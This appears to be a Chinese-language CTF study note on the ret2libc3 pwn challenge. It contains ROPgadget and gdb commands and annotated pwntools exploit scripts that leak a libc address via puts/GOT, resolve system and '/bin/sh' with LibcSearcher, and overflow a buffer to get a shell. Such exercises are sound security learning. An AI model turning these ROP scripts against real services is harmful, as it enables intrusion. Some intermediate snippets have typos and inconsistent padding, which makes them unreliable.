ROPgadget --binary XXX --string ‘/bin/sh’ 查找有没有/bin/sh这个字符串

ROPgadget --binary XXX --only ‘pop|ret’|grep ‘ebx’

在gdb（gdb-peda）里面

b main 在main函数下断点

p system (print system)打印system函数的地址，查找有没有system函数

display &buf 是什么意义？

readelf -r XXXX 查看got表的信息

**ret2libc3**

**思路一：**

from pwn import \* 将所有的子模块和一些常用的系统库导入到当前空间

from LibcSearcher import LibcSearcher 导入LibcSearcher包里面的LibcSearcher函数

#sh = process('./ret2libc3') 本地运行该ELF文件

sh = remote('192.168.1.101', 5557) 连接到某IP地址的某端口

ret2libc3 = ELF('./ret2libc3') 对二进制文件的操作

#泄露地址

puts\_plt = ret2libc3.plt['puts'] 该ELF文件PLT表中puts函数的地址赋值给puts\_plt

libc\_start\_main\_got = ret2libc3.got['\_\_libc\_start\_main']

该ELF文件中GOT表中\_\_libc\_start\_main的地址赋值给libc\_start\_main\_got

main = ret2libc3.symbols['main'] 把该ELF文件的main函数的地址赋值给main

print "leak libc\_start\_main\_got addr and return to main again" 打印一些对自己方便的数据

payload = flat(['A' \* 112, puts\_plt, main, libc\_start\_main\_got])

#调用puts函数后，ret到main函数，用main函数里面的gets来获取libc\_start的地址

sh.sendlineafter('Can you find it !?', payload)

利用

print "get the related addr" 打印一些对自己方便的数据

libc\_start\_main\_addr = u32(sh.recv()[0:4])

print libc\_start\_main\_addr#输出泄露的地址 打印一些对自己方便的数据

libc = LibcSearcher('\_\_libc\_start\_main', libc\_start\_main\_addr)

libcseacher("函数名"，已经泄露的地址) dump('system')计算偏移量

print libc\_start\_main\_addr 打印一些对自己方便的数据

libcbase = libc\_start\_main\_addr - libc.dump('\_\_libc\_start\_main')#算出基地址

system\_addr = libcbase + libc.dump('system')

libc的基址加上libc中system的偏移等于system的地址

binsh\_addr = libcbase + libc.dump('str\_bin\_sh')

print "get shell" 打印一些对自己方便的数据

payload = flat(['A' \* 104, system\_addr, 0xdeadbeef, binsh\_addr]) 构造好攻击代码

sh.sendline(payload) 送入一些数据

sh.interactive() 与shell交互

**思路二：**

ida里没有我们要的system函数了。既然这里没有system函数，那我们就要找到对应的.so库获取库里面对应的system函数的地址和/bin/sh的地址。第一步就是要通过知道libc中的一个函数地址，然后明确之间的地址偏移来确定libc。程序用过puts，就拿puts开刀。通过对ELF文件的操作来找到plt表和got表上puts的地址，然后回到程序最开始的地方，再走一次。我们发现\_start函数是会调用到\_\_libc\_start\_main函数的，而system和/bin/sh都在它里面，所以我们让第一步泄露了libc之后返回到\_start函数。先找到返回地址。

puts\_plt=elf.plt['puts']

puts\_got = elf.got['puts']

main\_plt = elf.sybols['\_start']#\_\_libc\_start\_main

payload = flat(["a"\*112+puts\_plt+main\_plt+puts\_got])

#最后得到的是got表里puts的真实地址

sh.sendlineafter('!?',payload)

puts\_addr=u32(sh.recv()[0:4])#将得到的地址解包

print('puts\_addr:'+hex(puts\_addr))#数据转成十六进制输出

得到地址之后就可以通过手动搜索或者函数搜索出所用的libc

obj = libcsearcher('puts',puts\_addr)

libc = puts\_addr - obj.dump('puts')

system = obj.dump('system')+libc

binsh = obj.dump('str\_bin\_sh')+libc

payload1 = flat(["a"\*112,system,'aaaa',binsh])

也可以按照上一part得到的地址后三位去找libc，这里的最后三位是ca0，去libc database那个网站找一下，然后用已知libc来写下半部分脚本。

libc=elf("libc6\_2.23-0ubuntu10\_i386.so")

libc\_puts=libc.symbols['puts']

libc\_system=libc.symbols['system']

libc\_binsh=next(libc.search("/bin/sh")) #计算system。/bin/sh的实际加载地址

system\_addr=puts\_addr+(libc\_system-libc\_puts)

binsh\_addr=puts\_addr+(libc\_binsh-libc\_puts)

第二次运行来得到shell

payload=flat(["a"\*112,system\_addr,’aaaa’,binsh\_addr])

from pwn import \*

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

elf = ELF('./ret2libc3')

puts\_plt = elf.plt['puts']

puts\_got = elf.got['puts']

main\_plt = elf.symbols['\_start']#\_\_libc\_start\_main

payload = flat(["a"\*112,puts\_plt,main\_plt,puts\_got])

sh.sendlineafter('!?',payload)

puts\_addr = u32(sh.recv()[0:4])

print("puts\_addr:"+hex(puts\_addr))

obj = LibcSearcher('puts',puts\_addr)

libc = puts\_addr - obj.dump('puts')

system = obj.dump('system')+libc

binsh = obj.dump('str\_bin\_sh')+libc

payload1 = flat(["a"\*112,system,'aaaa',binsh])

sh.sendline(payload1)

sh.interactive()